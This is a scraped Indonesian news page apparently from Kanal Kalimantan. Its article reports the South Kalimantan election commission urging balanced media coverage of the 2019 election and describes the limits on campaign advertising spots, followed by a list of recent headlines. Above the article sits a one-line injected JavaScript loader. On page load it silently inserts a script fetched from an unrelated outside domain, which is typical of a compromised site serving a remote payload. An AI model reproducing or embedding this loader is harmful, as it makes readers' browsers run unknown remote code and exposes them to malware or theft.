(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Kalsel Minta Media Tetap Berimbang Terkait Peliputan Pemilu


BANJARMASIN, Sisa 16 hari lagi pesta demokrasi berlangsung. Tentu wajah dan iklan para caleg serta partai bertebaran di mana-mana baik di ruang publik hingga media. Mengambil contoh kampanye akbar yang berlangsung di Stadion 17 Mei Banjarmasin, Rabu (27/3) lalu yang juga dihadiri oleh capres Joko Widodo. Tentu saja, kampanye yang dihadiri capres secara langsung yang juga incumbent, memenuhi wajah media.

Terkait hal tersebut, Komisiner KPU Kalsel Edy Ariansyah berharap agar hal sama dilakukan saat capres 02 berkampanye di Kalsel. “Berimbang itu tidak mesti di satu hari penayangan. Misal, silakan hari ini berita 01, tapi jika besok ada kegiatan 02, beritakan juga. Diberi kesempatan yang sama” jelasnya saat ditemui di kantor KPU Kalsel Banjarmasin usai memberikan sosialisasi kepada awak media perihal pemberitaan, penyiaran, dan kampanye pemilu tahun 2019.

Hal ini tentu menjadi hal yang penting agar pihak media bisa adil dan berimbang dalam pemberitaan bagi peserta pemilu. Sehingga iklan yang dibuat oleh media serta lembaga penyiaran dalam melakukan pemberitaan baik dalam bentuk monolog dan dialog bisa berlaku adil bagi seuruh peserta.

Teruntuk peserta pemilu dalam beriklan kampanye mempunyai maksimal 10 spot untuk televisi. “Nanti dihitung, akumulasi. Kalau misalnya tv A telah digunakan untuk KPU fasilitasi, itu maksimal 3 spot. Berarti sisa 7 untuk tv tersebut” beber Edy.

Pun untuk konten iklan berbau SARA yang tentunya masuk dalam pasal 280, pidana pemilu. Semua hal dalam pemeriksaan, penilaian, dan penindakan dilakukan oleh Bawaslu. Untuk media yang memberitakan iklan yang berbau sara, dilanjutkan oleh Edy, semuanya akan disesuaikan dengan UU penyiaran, pers.”Itu kita serahkan ke KPI dan dewan pers” ujarnya.

Sementara itu, sempat ditemui beberapa waktu lalu saat menghadiri rangkaian peringatan Hari Penyiaran Nasional (Harsiarnas) ke-86 yang digelar KPID Kalsel, ketua Komisi Penyiaran Pers, Yuliandre Darwis juga menekankan hal yang sama ihwal iklan kampanye.

“Iklan kampanye 30 detik untuk TV dan 60 detik untuk radio. Diatur 10 spot satu hari. Kalau ada yang melanggar, KPI pasti akan menegur lembaga penyiaran dan peserta pemilu. Clear di sana. Proposonal dam profesional” pungkasnya.(mario)

Reporter:Mario
Editor:Cell

Desy Arfianty

Recent Posts

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

1 jam ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

2 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

15 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

16 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

16 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

17 jam ago

This website uses cookies.